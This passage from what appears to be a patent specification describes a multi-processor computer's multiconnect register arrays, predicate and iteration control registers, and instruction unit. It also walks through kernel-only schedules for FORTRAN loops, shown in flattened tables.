In FIG. 9, the multiplier 169 combines the input operands from the register stages 170-1 and processes them through the register stages 170-2 through 170-x. The number of stages x ranges from 1 to 30 or more and represents the number of cycles required to do complicated multiplications, divisions or square root operations. A like number of register stages 170'-2 to 170'-x connect from multiplexer 171 to multiplexer 172. An output selected from outputs provided by the 170-x and 170'-x stages connects through the multiplexer 172 to a final register stage 170-xl. The multiplexer 172 operates to bypass the multiplier functional unit 169 whenever an iselect, Isel, opcode is detected by decoder 137-2 The decoder 137-2 decodes the opcode and asserts a signal which is latched into a register stage 176-1 and transfered through stages 176-2 to 176-x. The registers 176-1 through 176-x are included in a control 131-2. When this signal is latched into the register stage 176-x, the signal is carried on line 265 and causes the multiplexer 172 to select the output from the register 170'-x as the input to the register 170-a1. Otherwise, when a multiply or other command using the multiplier 169 is decoded, multiplexer 172 selects the output from stage 170-x for latching into the stage 170-x1. Whenever an Isel command is asserted, the register 176-x1 stores a 1 at the same time that the selected operand is output on the bus 35-2. The 1 in register 176-xl satisfies an OR gate 177, which in turn enables a write enable signal, WEN, on a line 96-2. The WEN signal on line 96-2, together with a destination address on a bus 264-2, are propagated to multiconnect 237-2 (dmc2) to store the data on bus 35-2 in each element 34 of the row.
When the decoder 137-2 does not detect an iselect command, then the OR gate 177 is satisfied or not as a function of a 1 or 0 output from a predicate stack register stage 174-x1 in the predicate stack 140-2. The stack 140-2 includes, besides the register stages 174-1 and 174-x1, one or more register stages 174-2 through 174-x. Therefore, the latency of the predicate stack 140-2 is the same as the latency of the functional unit 130-4 when the multiply unit 169 is employed. When the iselect command is present, then the latency for the write enable signal WEN is determined by the register stages 176-1 to 176-x1 which matches the latency of the operand through the bypass consisting of the multiplexer 171 and 172 in the functional unit 130-2. The input stage 176-1 of stack 176 is loaded with a 1 whenever an Isel operation is decoded and is otherwise loaded with a 0. Therefore, OR gate 177 will always be satisfied by a 1 from stage 176-x for Isel operations. However, for other operations, the predicate value in stage 174-x1 will determine whether gate 177 is satisfied to generate the WEN signal.
An address stack 133-2 includes a register 178-1, a register stack 178-2 through 178-x, a register stack 178'-2 through 178'-x, a multiplixer which receives inputs from the stacks 178 and 178', and a register 178-x1. The address stack 133-2 has a latency which, in a similar manner to the latency of the control 131-2 and the latency of the stack 140-2, is the same as the latency of the functional unit 130-2, both under the condition of the latency through the multiplier 169 or the latency through the multiplexers 171 and 172. As an alternative, the stacks 170', 176, and 178' may have a different number of stages and latency than stacks 170, 174 and 178.
In FIG. 9, the multiplexer in the stack 133-2, like the multiplexer 172, bypasses the register stages 178-2 through 178-x when the Isel opcode is decoded by decoder 137-2. When the Isel command is not decoded, then multiplexer 133-2 selects the output from stage 178-x as the input to stage 178-xl In this way, the latency of the address stack 133-2 remains the same as that of the functional unit 130-4.
The Isel structure of FIG. 9 (MUX's 171, 172, . . .) is typical of the select structure in each processor 32 of FIGS. 2 and 3. The select employed in floating point processor 32-1 is identified as "Fsel", for example.
Processing Element Multiconnect--FIG. 10
In FIG. 10, the multiconnect elements 34 are organized in an array 30 corresponding to a portion of the data cluster of FIG. 3. Only the detail is shown for the processor 32-2 of FIGS. 2, 3 and 9 and the corresponding multiconnect elements 34. In particular, the third column of multiconnect elements 34 designated D(1,3), D(2,3), D(3,3), and D(4,3), all have an output which connects in common to the 33-bit first data in (DI1) bus 36-2. Additionally, the general purpose register element (GPR)(3) has an output which connects to the bus 36-2. Each of these elements is similarly addressed by the 9-bit S1 source bus 59 through the invariant address units 12.
In FIG. 10, the fourth column of multiconnect elements 34 includes the elements GPR(4), D(1,4), D(2,4), D(3,4), and D(4,4). The output of each of these elements in column four connects to the 33-bit second data input (DI2) bus 37-2. Also each of the multiconnect elements in column four is addressed by the 9-bit second source S2 bus 61 through an invariant address unit 12. Data from any one of the column three multiconnect elements addressed by the S1 bus 59 provides data on the DI1 bus 36-2. Similarly data from any one of the multiconnect elements in column four is addressed by the S2 bus to provide data on the DI2 bus 37-2. The processor (PE) 32-2 performs an operation on the input data from buses 36-2 and 37-2 under control of the opcode on bus 63 Bus 63 is the OP(6:0) field from the output 54-2 of the instruction register 53 of FIG. 4. The operation performed by the processor 32-2 has a result which appears on the data outbus 35-2 The data outbus 35-2 connects as an input to each of the multiconnect elements comprising the dmc2 row of the data cluster. The dmc2 row includes the multiconnect elements D(3,1), D(3,2), D(3,3), D(3,4), and D(3,5).
In FIG. 10, the destination address appears on the D1 bus 64 which is derived from one of the fields in the output 54-2 from the instruction register 53 of FIG. 4. The bus 64 connects to invariant address unit 12'-1 and 12'-2 forming the address on bus 164. The address is delayed in address stack 1 to provide the destination address on bus 264. The data output bus 35-2 also connects in common to the GPR bus 65 which forms a data input to the mc0 row of GPR elements, GPR(1) to GPR(13) which form the GPR multiconnect 49.
In FIG. 10, the destination address output from processing element 32-1 on line 264-1, together with the write enable, WEN, line 96-1, form the bus 271 which are connected to each of the elements in the dmc1 multiconnect comprised of the elements D(4,1), . . . , D(4,5). Also, the line 96-1 and the bus 264-1 connect to the common GPR destination address bus 270 which connects to address, when enabled, each of the elements in the GPR multiconnect 49. In a similar manner, the processing element 32-2 has its write enable, WEN, line 96-2 connected together with the destination address bus 264-2 to form the bus 273 which addresses the dmc2 row of multiconnect elements 34, including the elements D(3,1), . . . , D(3,5). The line 96-2 and the bus 264-2 also connect to the common bus 270 which provides the destination address and enable to the GPR multiconnect 49. The destination address bus 270 connects in common to all of the processing elements, such as processing elements 32-1 and 32-2, but only one of the destination addresses is active at any one time to provide an output which is to be connected in common to the GPR multiconnect 49. As indicated in FIG. 9, the WEN enable signal on line 96-2 enables the outgating of the registers 170-x1 and 178-x1 which provide the data output on bus 35-2 and the destination address output on bus 264-2. This gating-out of the registers ensures that only one element will be connected to the common bus 65 and one element to the common bus 270 for transmitting destination addresses and data to the GPR multiconnect 49. In a manner similar to FIG. 9, all of the other processing elements 32 of FIG. 2 and FIG. 3 which connect to the GPR bus 65 and the corresponding destination address bus 270 (see FIG. 10) are enabled by the respective write enable signal, WEN, to ensure that there is no contention for the common buses to the GPR multiconnect 49.
In FIG. 10, the pair of multiconnect elements D(3,3), and D(3,4) comprise one physical module 66. The combination of two pairs of logical modules, like modules D(3,3), and D(3,4) is arbitrary as any physical implementation of the multiconnect array may be employed.
The preceding discussion of the circuit of FIG. 10 has concentrated on connections between the elements D(3,3), D(3,4), D(4,3) and D(4,4) on the one hand and the processors 32-1 and 32-2 on the other hand. It will be apparent that similar connections exist between others of the elements 34 which are shown in FIG. 10 and others of the processors which are shown in FIG. 3. Thus, for example, various rows of elements 34 receive data from data buses 35A and 35B which are similar to the buses 35-1 and 35-2 except that they connect with others of the processors 32. Similarly, various columns of the elements 34 are addressed by address buses 59A, 59B and 59C which are similar to or which may be comprised in the bus 59 or the bus 61.
Physical Multiconnect Module FIG. 11
In FIG. 11, the module 66 is a typical implementation of two logical modules, such as D(3,3) and D(3,4) of FIG. 10. In FIG. 11, a first (C1) chip 67 and a second (C2) chip 68 together form the logical modules, D(3,3), and D(3,4), of FIG. 10. However, one half of the D(3,3) multiconnect element is in the C1 chip 67 and one half is in the C2 chip 68. Similarly, one half of the D(3,4) logical multiconnect appears in each C1 chip 67 and C2 chip 68. Both the chips 67 and 68 receive the S1 source bus 59 and the S2 source bus 61. The S1 source bus 59 causes chips 67 and 68 to each provide the 17-bit data output C1(AO) and C2(AO), respectively, on output lines 69 and 70. The outputs on lines 69 and 70 are combined to provide the 33-bit DI1 data bus 36-2.
In a similar manner, the address on the S2 address bus 61 addresses both the C1 chip 67 and the C2 chip 68 to provide the C1(BO), and the C2(BO) 17-bit outputs on lines 71 and 72, respectively. The data outputs on lines 71 and 72 are combined to form the 33-bit data DI2 on bus 37-2.
The DI1 and DI2 data buses 36-2 and 37-2 connect as the two inputs to the processor 32-2 of FIG. 10.
In FIG. 11, the D1 destination bus 273 connects as an input to both the C1 chip 67 and the C2 chip 68. The destination address and the WEN signal on the D1 bus 273 causes the data out data on the DO bus 35-2 to be stored into both the C1 chip 67 and the C2 chip 68.
Multiconnect Chip FIGS. 12 and 13
In FIGS. 12 and 13, the C1 chip 67 of FIG. 11 is shown as typical of the chips 67 and 68 and the other chips in each of the other multiconnect elements 34 of FIG. 10, taken in pairs.
In FIG. 12, two 64×10 random access memories (RAM'S) 45 and 46 are the data storage elements. The data out bus 35-2 connects into a 17-bit write data register 73. Register 73 in-turn has a 10-bit portion connected to the data input of the RAM 46 and a 7-bit portion to the RAM 45. Data is stored into the RAM 45 and RAM 46 at an address selected by the multiplexer 74. Multiplexer 74 obtained the address for storing data into RAMS 45 and 46 from the write address register 75. The register 75 is loaded by the write address from the D1(5:0) bus 264-2 which is the low order 6 bits derived from the D1 bus 64 from the instruction register 53 of FIG. 4 through stack 133-2 of FIGS. 9 and 10.
Data is read from the RAM 45 and RAM 46 sequentially in two cycles. In the first cycle, data is stored into the 17-bit latch 89. In the second cycle, data is read from the RAMS 45 and 46 and stored into the 17-bit register 79 while the data in the latch 89 is simultaneously transferred to the register 78. The data stored into register 8 is accessed at an address location selected by the multiplexer 74. In the first cycle, multiplexer 74 selects the address from the adder 76. Adder 76 adds the S1(5:0)address on bus 59-2 to the contents of the mcp register 82.
In the second read cycle, multiplexer 74 selects the address from the adder 77 to determine the address of the data to be stored into the register 79. Adder 77 adds the S2(5:0) address on bus 61-2 to the contents of the mcp register 82.
In FIG. 13, further details of the FIG. 12 multiconnect are shown. In FIG. 13, gate 120 generates the memory enable (MEN) signal on line 121 which controls writing into the RAMS 45 and 46 of FIG. 12. The MEN signal on line 21 is enabled only when the write enable (EN) signal on line 96, the signal on line 123 and the write strobe (WRSTRB) signal on line 124 are present. In the absence of any of these signals, the MEN signal on line 121 is not asserted and no write occurs into the RAMS 45 and 46.
In FIG. 13, the WEN signal on line 96 is generated by th corresponding processor, in the example being described, the processor 32-2, in FIG. 10. The processor 32-2 when it completes a task, provides an output on the output data bus 35-2 and generates the WEN signal unless inhibited by the predicate output on line 33-2. The WEN signal on line 96 is latched into the register 113 which has its inverted output connected to the ORgate 120.
In FIG. 13, the signal on line 123 is asserted provided that the row ID (ROWID) on line 125 is non-zero and provided the GPR register has not been selected as evidenced by the signal on line DI(6), line 64-1 being zero. Under these conditions, the line 123 is asserted and stored in the register 114. The double bar on a register indicates that it is clocked by the clock signal along with all the other registers having a double bar. If both registers 113 and 114 store a logical one, a logical zero on the strobe line 124 will force the output of gate 120 to a logical zero thereby asserting the MEN signal on line 121 If either of registers 113 or 114 stores a zero, then the output from gate 120 will remain a logical one and the MEN signal on line 121 will not be asserted.
In FIG. 13, the 3-bit input which comprises the ROWID signal on line 125 is hardwired to present a row ID. Each element 34 in FIGS. 3 and 10 is hardwired with a row ID depending on the row in which the element is in. All elements in the same row have the same ROWID.
In FIG. 13, comparator 118 compares the ROWID signal on line 125 with the high order 3-bit address S1(8 6) on line 59-1 from the instruction register 53 from FIG. 4. If a comparison occurs, a one is stored into the register 116 to provide a zero and assert the A enable (AEN) signal on line 126. The AEN signal on line 126 connects to the ANDgate 80 to enable the output from the register 78 in FIG. 12.
In a similar manner, the comparator 119 compares the ROWID signal on line 125 with the three high order bits S2(8:6) on lines 61-1 from the instruction register 53 of FIG. 4. If a compare occurs, a one is clocked into the register 117 to enable the B enable signal (BEN) on line 127. The BEN signal one line 127 connects to the ANDgate 81 in FIG. 12 to enable the contents of register 79 to be gated out from the chip 67 of FIG. 11.
ICR ELEMENT FIG. 14
In FIG. 14, a typical one of the elements 22, namely element 22-2, which form the row 29 of ICR elements in FIG. 3 is shown. The ICR register 92 provides a 1-bit predicate output on line 33-3. The ICR register 92 is addressed by a 7-bit address from the adder 103. Adder 103 forms the predicate address by adding the offset address in the ICP pointer register 102 to the predicate (PD) address on the 7-bit bus 167 which comes from the instruction register 53 of FIG. 4 as connected through the processor 32-2 of FIG. 10.
The iteration control register (ICR) 92 can have anyone of its 128 locations written into by the 1-bit ICR data (ICRD) line 108 which comes from the timing and loop control 56 of FIG. 4. The logical one or zero value on line 108 is written into the ICR 92 when the write interval control register (WICR) signal on line 107 is asserted. The enable signal on line 107 is derived from the timing and loop control 56 of FIG. 4. The address written into in register 92 is the one specified by the adder 103.
In FIG. 14, the ICP register 102 stores a pointer which is an offset address. The contents of register 102 are initially cleared whenever the (ICPCLR) line 109 from the timing and loop control 56 of FIG. 4 is asserted. When line 109 is asserted, the output of gate 106 is a zero so that when ICPEN is enabled the register 102 is clocked to the all zero condition. When the ICPCLR line 109 is not asserted, then the assertion of the enable signal ICPEN on line 110 causes register 102 to be incremented by one unit. In the embodiment described, the incrementing of the register 102 occurs by subtracting one in the subtracter 105 from the current value in register 102. The incrementing process is actually a decrementing of the contents of register 102 by 1.
Single And Multiple Operation Unit--FIG. 15
In FIG. 15, the single operation/multiple operation unit which forms a modification to the instruction unit of FIG. 4 is shown. In FIG. 4, the instruction register 53 is replaced by the entire FIG. 15 circuit. The input bus 184 from the instruction cache 52 of FIG. 4 connects, in FIG. 15, to the input register 53-1 Register 53-1 as an input receives information in the same way as register 53 of FIG. 4. The output from the unit of FIG. 15 from register 53-2 on the buses 54-1, 54-2, . . . , 54-8 and is similar to the outputs from the register 53 in FIG. 4.
In FIG. 15, for multiple operations, the input register 53-1 is connected directly to the output register 53-2 through the multiplexers 190. Register 53-1 includes a stage for each operation to be executed, each stage including an opcode field, source and destination offset addresses, predicate fields and other fields as previously described in connection with FIG. 4. The output from each stage of register 53-1 appears on buses 193-1, 193-2, . . . , 193-8, having the same information as buses 54-1, 54-2, 54-8 of FIG. 4. These buses 193-1 through 193-8 in turn connect to the multiplexers 190-1, 190-2, . . . , 190-8 which have outputs which connect in turn to the corresponding stages of the output register 53-2 so as to directly provide the outputs 54-1, 54-2, 54-8, respectively. The outputs from input register 53-1 are connected directly as inputs to the output register 53-2 when the control line 194 from the mode control register 185 is asserted to indicate a multiop mode of operation.
When the mode control 185 does not assert line 194, indicating a single operation mode, the multiplexers 190-1 through 190-8 are active to select outputs from the selector 188. Only one output from selector 188 is active at any one time, corresponding to the single operation to be performed, and the other outputs are all nonasserted.
Selector 188 derives the information for a single operation from the multiplexer 187. Selector 188, under control of the control lines 192, selects one of the multiplexers 190-1 through 190-8 to receive the single operation information from multiplexer 187. The particular one of the operations selected corresponds to one of the multiplexers 190-1 through 190-8 and a corresponding one of the output buses 54-1 through 54-8.
Multiplexer 187 functions to receive as inputs each of the buses 277-1 through 277-7 from the input register 53-1. Note that the number (7) of buses 277-1 through 277-7 differs from the 8 buses 190-1 to 190-8 since the field sizes for single operation instructions can be different than for multiple operation instructions. Multiplexer 187 selects one of the inputs as the output on buses 191 and 192. The particular one of the inputs selected by multiplexer 187 is under control of the operation counter 186. Operation counter 186 is reset each time the control line 194 is nonasserted to indicate loading of single operation mode instructions into register 53-1 and register 185. Thereafter, the operation counter 187 is clocked (by the system clock signal not shown) to count through each of the counts representing the operations in input register 53-1.
Part of the data on each of the buses 193-1 through 193-8 is the operation code which specifies which one of the operations corresponding to the output buses 54-1 through 54-8 is to be selected. That opcode information appears on bus 192 to control the selector 188 to select the desired one of the multiplexers 190-1 through 190-8 With this single operation mode, the input register 53-1 acts as a pipeline for single operations. Up to eight single operations are loaded at one time into the register 53-1. After the single operations are loaded into the register 53-1 over bus 184, each of those operations is selected by multiplexer 187 for output to the appropriate stage of the output register 53-2. Each new instruction loads either multiple operations or single operation information into register 53-1 Each time a multiple operation or a single operation appears on the bus 184, a mode control field appears on line 195 for storage in the mode control register 185.
When the mode control 185 calls for a multiple operation, then the contents of register 53-1 are transferred directly into register 53-2 When the mode control 185 calls for single operation, the operations stored into register 53-1 in parallel are serially unloaded through multiplexers 187 and 188 one at a time, into the output register 53-2.
The computer of system 3, using the instruction unit of FIG. 15, switches readily between multiple operation and single operation modes in order to achieve the most efficient operation of the computer system. For those programs in which single operation execution is efficient, the single operation mode is more desirable in that less address space is required in the instruction cache and elsewhere in the system. For example, up to eight times as many single operation instructions can be stored in the same address space as one multiop instruction. Of course, the number of concurrent multiple operations (eight in the FIG. 15 example) is arbitrary and any number of parallel operations for the multiple operation mode can be specified.
Operation
The operation of the invention is described in connection with the execution of a number of programs Each program is presented in FORTRAN source code form and in the kernel-only code form. The kernel-only code is executed by the computer of FIG. 3 in which the instructions are fetched by the I unit 32-7 and the computations are performed by the processors 32 using the data multiconnect 30 and address multiconnect 31.
TABLES 1-1 to 1-6: Kernel-Only Code.
TABLE 1-1 depicts a short vectorizable program containing a DO loop. The loop is executed N times(R=10, see Term Table) for i from 1 to N. The program does not exhibit any recurrence since the result from one iteration of the loop is not utilized in a subsequent iteration of the loop.
TABLE 1-1______________________________________VECTORIZABLE LOOP______________________________________ DO 10 i = 1,N A = XR(i) * YR(i) - XI(i) * YI(i) B = XR(i) * YI(i) + XI(i) * YR(i) XR(i) = A + TR(i) XI(i) = B + TI(i) YR(i) = A - TR(i) YI(i) = B - TI(i)10 CONTINUE______________________________________
In TABLE 1-2, a listing of the operations utilized for executing the loop of TABLE 1-1 is shown. The operations of TABLE 1-2 correspond to the operations performable by the processors 32 of FIG. 3. Particularly, with reference to FIG. 3, the address add, AAd1, is executed by processor 32-5, address add, AAd2, is executed by processor 32-6, the Mem1read by processor 32-3, the Mem2read by processor 32-4, and the floating-point multiply(FMpy), add(Fadd), subtract(Fsub) by processor 32-1, and the Brtop by the I unit processor 32-7.
In TABLE 1-2, operation 5 by way of example adds the operand @XRI[1], from the address multiconnect 31 (row amc5:36-6) to the operand %rl from the GPR multiconnect 49 (mc0, column 37-3) and places the result operand @XRI in the address multiconnect 31 (amc5). Operation 9 as another example reads an operand XRI from the Mem2 processor 32-14 and stores the operand in row 4 of the data multiconnect 31 (dmc4). The address from which the operand is accessed is calculated by the displacement adder processor 32-9 which adds a literal value of 0(#0 input on line 44 from the instruction) to the operand @XRI from row 5 of the address multiconnect 31 (amc5) which was previously loaded by the result of operation 5. The other operations in TABLE 1-2 are executed in a similar manner.
In TABLE 1-3, the scheduled initial instructions, Il, for the initial instruction stream IS, where l is 1, 2, . . . , 26 are shown for one iteration of vectorizable loop of TABLE 1-1 and TABLE 1-2. In TABLE 1-3, the Iteration Interval(II) is six cycles as indicated by the horizontal-lines after each set of six instructions. Each lth -initial instruction in TABLE 1-3 is formed by a set of zero, one or more operations, o0 l, o1 l, o2 l, . . . , on l, . . . , o.sub.(N-1)l, initiated concurrently, where 0≦n≦(N-1), where N is the number(7 in TABLE 1-3) of concurrent operations and processors for performing operations and where the operation on l is performed by the nth -processor in response to the lth initial instruction. The headings FAdd, FMpy, Mem1, Mem2, AAd1, AAd2 and IU refer to the processors 32-1, 32-2, 32-3, 32-4, 32-5, 32-6, and 32-7, respectively, of FIG. 3. By way of example, instruction 1 uses two operations, AAd1 and AAd2 in processors 32-5 and 32-6. Note that instructions 7,8 and 9 have zero operations and are examples of "NO OP's".
TABLE 1-3 is a loop, LP, of L initial instructions I0, I1, I2, . . . , Il, . . . , I.sub.(L-1), where L is 26. The loop, LP, is part of the initial instruction stream IS in which execution advances from Ihd 0 toward I.sub.(L-1).
In TABLE 1-3 the number in the T column indicates the instruction number and the number in the OP column indicates the number of processors that are active for each instruction.
TABLE 1-3 is divided into J stages(J=5 for TABLE 1-3), sn l, equal to 0, 1, 4. Each operation, on k,l, in an l-instruction has a corresponding stage number.
In TABLE 1-4, the schedule of overlapped instructions is shown for iteration of the vectorizable loop of TABLE 1-2. In Table 1-4, a new iteration of the loop begins for each iteration interval (II) that is, at T1, T7, T13, T19, T25, and so on. The loop iteration that commences at T1 completes at T26 with the Mem1, Mem2 operations. In a similar manner, the loop iteration that commences at T7 completes at T32. The iteration that commences that T13 completes at T38. A comparison of the number of operations, the OP column, between TABLE 1-3 and TABLE 1-4 indicates that the TABLE 1-4 operation on an average includes a greater number of operations per instruction than does the TABLE 1-3. Such operation leads to more efficient utilization of the processors in accordance with the present invention.
TABLE 1-2______________________________________GRAPH REPRESENTATION FOR THEVECTORIZABLE LOOP______________________________________ 1 * r1 contains 4 2 * DO 10 i = 1,N 3 * A = XR(i) * YR(i) - XI(i) * YI(i) 4 * B = XR(i) * YI(i) + XI(i) * YR(i) 5 @XRI :- AAd1 ( @XRI[1] %r1 ) 6 @XII :- AAd2 ( @XII[1] %r1 ) 7 @YRI :- AAdl ( @YRI[1] %r1 ) 8 @YII :- AAd2 ( @YII[1] %r1 ) 9 XRI :- Mem2read ( #0 @XRI )10 XII :- Mem1read ( #0 @XII )11 YRI :- Mem2read ( #0 @YRI )12 YII :- Mem1read ( #0 @YII )13 MI :- FMpy ( XRI YRI )14 M2 :- FMpy ( XII YII )15 M3 :- FMpy ( XII YRI )16 M4 :- FMpy ( XRI YII )17 A :- Fsub ( M1 M2 )18 B :- Fadd ( M3 M4 )1920 * XR(i) = A + TR(i)21 * XI(i) = B + TI(i)22 * YR(i) = A - TR(i)23 * YI(i) = B - TI(i)24 @TRI :- AAd1 ( @TRI[1] #r1 )25 @TII :- AAd2 ( @TII[1] #r1 )26 TRI :- Mem2read ( #0 @TRI )27 TII :- Mem1read ( #0 @TII )28 XRIN :- FAdd ( TRI A )29 XIIN :- FAdd ( TII B )30 YRIN :- Fsub ( TRI A )31 YIIN :- Fsub ( TII B )32 $W1 :- Mem2write ( XRIN #0 @XRI )33 $W2 :- Mem1write ( XIIN #0 @XII )34 $W3 :- Mem2write ( YRIN #0 @YRI )35 $W4 :- Mem1write ( YIIN #0 @YII )36 $BR :- Brtop ( #loop )37 *10 CONTINUE______________________________________
TABLE 1-3______________________________________SCHEDULE FOR ONE ITERATION OFTHE VECTORIZABLE LOOPT OP FAdd FMpy Mem1 Mem2 AAdl AAd2 IU______________________________________ 1 2 @YRI @YRI 2 2 @XRI @XII 3 2 @TRI @XTII 4 3 YII YRI BR 5 2 XII XRI 6 2 TII TRI 7 0 8 0 9 010 011 1 M412 1 M313 1 M214 1 M115 016 1 B17 018 1 A19 1 YIIN20 1 XIIN21 1 YRIN22 023 1 XRIN24 025 2 W4 W326 2 W2 W1______________________________________
TABLE 1-4______________________________________SCHEDULE FOR OVERLAPPED ITERATIONS OFTHE VECTORIZABLE LOOPT OP FAdd FMpy Mem1 Mem2 AAdl AAd2 IU______________________________________ 1 2 @YRI @YII 2 2 @XRI @XII 3 2 @TRI @TII 4 3 YII YRI BR 5 2 XII XRI 6 2 TII TRI 7 2 @YRI @YII 8 3 @XRI @XII 9 3 @TRI @TII10 3 YII YRI BR11 3 M4 XII XRI12 3 M3 TII TRI13 3 M2 @YRI @YII14 3 M1 @XRI @XII15 2 @TRI @TII16 4 B YII YRI BR17 3 M4 XII XRI18 4 A M3 TII TRI19 4 YIIN M2 @YRI @YII20 4 XIIN M1 @XRI @XII21 3 YRIN @TRI @TII22 4 B YII YRI BR23 4 XRIN M4 XII XRI24 4 A M3 TII TRI25 6 YIIN M2 W4 W3 @YRI @YII26 6 XIIN M1 W2 W1 @XRI @XII27 3 YRIN @TRI @TII28 4 B YII YRI BR29 4 XRIN M4 XII XRI30 4 A M3 TII TRI31 4 YII M2 W4 W332 4 XIIN M1 W2 W133 1 YRIN34 1 B35 2 XRIN M436 2 A M337 4 YIIN M2 W4 W338 4 XIIN M1 W2 W1______________________________________
In TABLE 1-5, the kernel-only schedule for the TABLE 1-1 program is shown. The l1 through l6 schedule of TABLE 1-5 is the same as the schedule for the stage including instructions 125 through 130 of TABLE 1-4. The operations of the kernel-only schedule are not all performed during every stage. Each stage has a different number of operations performed. The operations for l1 through l6 are identified as stage A, l7 through l12 are identified as stage B, l13 through l18 are identified as stage C, l19 through l24 are identified as stage D, l25 through l26 are identified as stage E.
TABLE 1-5______________________________________KERNEL-ONLY SCHEDULE AND CODE FORTHE VECTORIZABLE LOOPT OP FAdd FMpy Mem1 Mem2 AAd1 AAd2 IU______________________________________1 6 YIIN M2 W4 W3 @YRI @YRI2 6 XIIN M1 W2 W1 @YRI @XII3 3 YRIN @TRI @TRI4 4 B YII YRI BR5 4 XRIN M4 XII XRI6 4 A M3 TII TRI______________________________________
In TABLE 1-6, the operation of TABLE 1-4 overlapped schedule is represented in terms of the stages of TABLE 1-3. For the first iteration(i=0), only those operations of stage A are executed. For the second iteration(i=1), only those operations of stages A and B are executed. For the third iteration(i=2), the operations of stages A, B and C are executed. For the fourth iteration(i=3), the operations of stages A, B, C, and D are executed Iterations 0, 1, 2, and 3 represent the prolog during which less than all of the operations of the kernel are executed.
The iterations 4, 5, and 6 of TABLE 1-6 represent the body of the loop and all operations of the kernel-only code are executed.
The iterations 7, 8, 9, and 10 of TABLE 1-6 represent the epilog of the loop and selectively fewer operations of the kernel-only code are executed, namely, B, C, D, and E; C, D, and E; D and E; and E.
The manner in which certain operations of the kernel-only code are enabled and disabled is under control of the predicate values stored in the ICR multiconnect 29. During the first execution, only the operations of the A stage are enabled by a predicate. This condition is indicated in TABLE 1-6 for i equal 0 by a 1 in the A column of ICR while all other columns have 0. Similarly, a 1 appears in the A and B columns of the ICR so as to enable the A and B operations in the i equal to 1 case, and so on for each case for i equal 2 through 10.
TABLE 1-6______________________________________Assume 5 stages, 7 iterations ICR A B C D E.sup.- i1c esc 0 1 2 3 4______________________________________0 6 4 A 1 0 0 0 0 1 5 4 B A 1 1 0 0 0 2 4 4 C B A 1 1 1 0 0 3 3 4 D C B A 1 1 1 1 0 4 2 4 E D C B A 1 1 1 1 1 5 1 4 E D C B A 1 1 1 1 1 6 0 4 E D C B A 1 1 1 1 1 7 0 3 E D C B 0 1 1 1 1 8 0 2 E D C 0 0 1 1 1 9 0 1 E D 0 0 0 1 1 10 0 0 E 0 0 0 0 1______________________________________
TABLES 2-1, 2-2, 2-3: Recurrence On Loop
TABLE 2-1 is an example of a FORTRAN program having a recurrence on a loop. The loop is executed five times(R=5) for i from 3 to 7. A recurrence exist because the current value in one iteration of the loop, F(i), is determined using the results, F(i-1) and F(i-2) from previous iterations of the loop.
TABLE 2-1______________________________________ INTEGER F(100) F(1)=1 F(2)=1 DO 10 i=3,7 F(i)=F(i-1)+F(i-2) CONTINUE10 END______________________________________
TABLE 2-2 depicts the initial conditions that are established for the execution of the TABLE 2-1 program using the computer of FIG. 3. Referring to FIG. 3, the GPR multiconnect 49 location 2 is set to 4(%r2=4), the data multiconnect 30 row 1, location 63 is set to the value of F(1) set by the program in memory equal to 1[dmc 1:63=F(1)=1], the data multiconnect row 1, location 0 is set to the value of F(2) set by the program in memory equal to 1[dmc 1:0=F(2)=1], the loop counter 90 of FIG. 4 is set to 4[lc=4], the epilog stage counter is set to 1[esc=1]. With these initial conditions the kernel-only code of TABLE 2-3 is executed to execute the program of TABLE 2-1.
TABLE 2-2______________________________________Required Initial conditions:______________________________________ %r2=4 dmc 1:63=F(1)=1 dmc 1:0=F(2)=1 1c=4 esc=1 amc 5:63 points to F(3)______________________________________
TABLE 2-3______________________________________- I.sub.k Integer address memoryk IAdd AAd1 I unit Mem1______________________________________0 IAdd{0} AAd1{0} m1write{1} 1:63,1:0 %r2,5:63 1:63,5:1 =1:62 =5:01 Brtop3______________________________________
In TABLE 2-3 for each k-instruction, the first line indicates the operation to be performed together with the offset{} of the operation relative to the multiconnect pointer, the second line the multiconnect addresses of the source operands, and the third line the multiconnect address of the result operand.
For the 0-instruction, the integer add (processor 32-1 of FIG. 3), IAdd, adds the contents of the data multiconnect 30 location 1:63 (accessed on bus 36-1 from location 63 in row 237-1 of FIG. 3) to the contents of the data multiconnect location 1:0(accessed on bus 36-2 from location 0 in row 237-1 of FIG. 3) and places the result in data multiconnect location 1:62 (stored on bus 35-1 to location 62 in row 237-1 of FIG. 3) all with an offset of 0 relative to the multiconnect pointer.
For the 0-instruction, the address add1 (processor 32-5 of FIG. 3), AAd1, adds the contents of the GPR multiconnect 49 location %r2(accessed on bus 36-6 of FIG. 3) to the contents of the address multiconnect location 5:63 (accessed on bus 37-3 from location 63 in row 48-2 of FIG. 3) and places the result in address multiconnect location 5:0 (stored over bus 47-3 to locations 0 in row 48-2 of FIG. 3) all with an offset of 0 relative to the multiconnect pointer. The function of the address add is to calculate the address of each new value of F(i) using the displacement of 4 since the values of F(i) are stored in contiguous word addresses (four bytes).
TABLE 2-4______________________________________ Integer Address MemoryT 1c esc - i IAdd AAd1 IU Mem1______________________________________ 0 4 1 0 IAdd{0} AAd1{0} 1:63,1:0 %r2,5:63 = 1:62 = 5:0 1 Brtop 2 3 4 3 1 1 IAdd{0} AAd1{0} m1write{1} 1:63,1:0 %r2,5:63 1:63,5:1 = 1:62 = 5:0 5 Brtop 6 7 8 2 1 2 IAdd{0} AAd1{0} m1write{1} 1:63,1:0 %r2,5:63 1:63,5:1 = 1:62 = 5:0 9 Brtop101112 1 1 3 IAdd{0} AAd1{0} m1write{1} 1:63,1:0 %r2,5:63 1:63,5:1 = 1:62 = 5:013 Brtop141516 0 1 4 IAdd{0} AAd1{0} m1write{1} 1:63,1:0 %r2,1:0 1:63,5:1 = 1:62 = 5:017 Brtop181920 0 0 5 m1write{1} 1:63,5:121 Brtop2223______________________________________
TABLE 2-4 depicts the operation of the TABLE 2-3 kernel-only code for the four loops (R=4) of TABLE 2-1 and five kernel loops (R=5). The loop counter is decremented from 4 to 0 and the epilog stage counter is decremented from 1 to 0. The multiconnect address range is 0, 1, 2, 3, . . . , 63 and wraps around so that the sequence is 60, 61 62, 63, 0, 1, 2, . . . and so on. The addresses are all calculated relative to the multiconnect pointer (mcp). Therefore, a multiconnect address 1:63 means multiconnect row 1 and location 63+mcp. Since the value of mcp, more precisely mcp(i), changes each iteration, the actual location in the multiconnect changes for each iteration.
